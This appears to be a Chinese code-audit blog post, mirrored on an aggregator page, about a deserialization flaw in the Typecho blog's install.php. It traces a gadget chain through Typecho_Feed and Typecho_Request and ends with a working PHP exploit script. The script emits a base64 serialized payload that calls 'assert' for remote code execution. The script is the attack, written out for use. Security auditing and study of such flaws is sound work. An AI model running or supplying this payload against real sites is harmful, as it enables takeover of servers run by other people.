zoukankan      html  css  js  c++  java
  • 代码审计-Typecho反序列化getshell

    0x01 漏洞代码

    install.php:

    <?php
                        $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                        Typecho_Cookie::delete('__typecho_config');
                        $db = new Typecho_Db($config['adapter'], $config['prefix']);
                        $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                        Typecho_Db::set($db);
                        ?>

     执行到这里的条件:

    跟进Typecho_Cookie::get('__typecho_config')   cookie.php 77-82行

        public static function get($key, $default = NULL)
        {
            $key = self::$_prefix . $key;
            $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
            return is_array($value) ? $default : $value;
        }

    $value赋值从$_COOKIE里或post中接收$key。

    回到install.php:

     

    install.php第232行:$db = new Typecho_Db($config['adapter'], $config['prefix']);,

    这里, 跟进Typecho_Db, 有一行代码是:$adapterName = ‘Typecho_Db_Adapter_’ . $adapterName; 这里的$adapterName就对应着config里面的adapter,这里用了拼接操作,会触发类的toString方法。

    Db.php:

       public function __construct($adapterName, $prefix = 'typecho_')
        {
            /** 获取适配器名称 */
            $this->_adapterName = $adapterName;
            /** 数据库适配器 */
            $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
            if (!call_user_func(array($adapterName, 'isAvailable'))) {
                throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
            }
            $this->_prefix = $prefix;
            /** 初始化内部变量 */
            $this->_pool = array();
            $this->_connectedPool = array();
            $this->_config = array();
            //实例化适配器对象
            $this->_adapter = new $adapterName();
        }

     

    查看后发现

    Feed.php重写了__toString()方法

    Feed.php  212-226 lines:

    foreach ($this->_items as $item) {
                    $content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
                    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                    $content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
                    $content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;
                    if (!empty($item['suffix'])) {
                        $content .= $item['suffix'];
                    }
                    $content .= '</item>' . self::EOL;
                    $links[] = $item['link'];
                    if ($item['date'] > $lastUpdate) {
                        $lastUpdate = $item['date'];
                    }
                }

    调用了$item['author']->screenName$item$this->_items的foreach循环出来的,并且$this->_itemsTypecho_Feed类的一个private属性。

    如果这里screenName属性不存在会调用__get()方法

    Request.php:

        public function __get($key)
        {
            return $this->get($key);
        }

    get():

    检测$key是否在$this->_params[$key]这个数组里面,如果有的话将值赋值给$value

    _applyFiter():

    这里就很清楚明了了  两个回调后门 $filter$value可控

        private function _applyFilter($value)
        {
            if ($this->_filter) {
                foreach ($this->_filter as $filter) {
                    $value = is_array($value) ? array_map($filter, $value) :
                    call_user_func($filter, $value);
                }
                $this->_filter = array();
            }
            return $value;
        }

    0x02 漏洞利用

    exp:

    <?php
    class Typecho_Feed
    {
        const RSS1 = 'RSS 1.0';
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';
        const DATE_RFC822 = 'r';
        const DATE_W3CDTF = 'c';
        const EOL = "
    ";
        private $_type;
        private $_items;
    
        public function __construct(){
            $this->_type = $this::RSS2;
            $this->_items[0] = array(
                'title' => '1',
                'link' => '1',
                'date' => 1508895132,
                'category' => array(new Typecho_Request()),
                'author' => new Typecho_Request(),
            );
        }
    }
    
    class Typecho_Request
    {
        private $_params = array();
        private $_filter = array();
    
        public function __construct(){
            $this->_params['screenName'] = 'phpinfo()';
            $this->_filter[0] = 'assert';
        }
    }
    
    $exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix' => 'typecho_'
    );
    
    echo base64_encode(serialize($exp));

     

  • 相关阅读:
    Docker
    Oracle-----RAC重启步骤 RAC管理(crs_stat、crsctl、srvctl)
    kubernetes 设备插件
    golang signal.Notify 信号,如何优雅的退出
    golang 通过fsnotify监控文件
    Golang中基础的命令行模块urfave/cli的用法说明
    fatal: unable to access 'xxx': Encountered end of file
    client-go 和 golang 源码中的技巧
    Golang之wait.Until 简单测试用例
    go viper 库
  • 原文地址:https://www.cnblogs.com/-qing-/p/11968672.html
Copyright © 2011-2022 走看看